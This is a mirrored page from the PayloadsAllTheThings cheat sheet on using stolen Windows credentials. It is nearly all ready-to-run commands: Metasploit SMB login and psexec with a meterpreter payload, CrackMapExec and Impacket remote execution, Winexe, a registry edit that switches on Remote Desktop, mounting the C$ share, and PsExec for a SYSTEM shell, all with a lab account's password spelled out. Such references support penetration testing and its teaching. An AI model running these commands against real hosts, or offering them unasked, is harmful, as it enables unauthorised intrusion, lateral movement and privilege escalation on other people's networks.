mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
2.1 KiB
2.1 KiB
Windows - Using credentials
Metasploit - SMB
use auxiliary/scanner/smb/smb_login
set SMBDomain CSCOU
set SMBUser jarrieta
set SMBPass nastyCutt3r
services -p 445 -R
run
creds
Metasploit - Psexec
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
set PAYLOAD windows/meterpreter/bind_tcp
run
shell
Crackmapexec (Integrated to Kali)
git clone https://github.com/byt3bl33d3r/CrackMapExec.github
python crackmapexec.py 10.9.122.0/25 -d CSCOU -u jarrieta -p nastyCutt3r
python crackmapexec.py 10.9.122.5 -d CSCOU -u jarrieta -p nastyCutt3r -x whoami
Winexe (Integrated to Kali)
winexe -U CSCOU/jarrieta%nastyCutt3r //10.9.122.5 cmd.exe
Psexec.py / Smbexec.py / Wmiexec.py (Impacket)
git clone https://github.com/CoreSecurity/impacket.git
python psexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
python smbexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
python wmiexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
RDP Remote Desktop Protocol (Impacket)
python rdpcheck.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5
rdesktop -d CSCOU -u jarrieta -p nastyCutt3r 10.9.122.5
Note: you may need to enable it with the following command
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f
Netuse (Windows)
net use \\ordws01.cscou.lab /user:CSCOU\jarrieta nastyCutt3r
C$
Runas (Windows - Kerberos auth)
runas /netonly /user:CSCOU\jarrieta "cmd.exe"
PsExec (Windows - Sysinternal )
PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe
PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe -s # get System shell